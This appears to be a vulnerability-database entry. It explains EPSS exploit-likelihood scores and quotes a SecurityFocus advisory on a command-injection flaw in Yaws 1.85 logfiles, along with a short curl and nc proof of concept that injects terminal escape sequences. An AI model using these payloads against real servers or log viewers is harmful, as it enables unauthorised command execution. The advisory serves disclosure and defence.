EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/37716/info Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles. Attackers can exploit this issue to execute arbitrary commands in a terminal. Yaws 1.85 is vulnerable; other versions may also be affected. The following example is available: curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
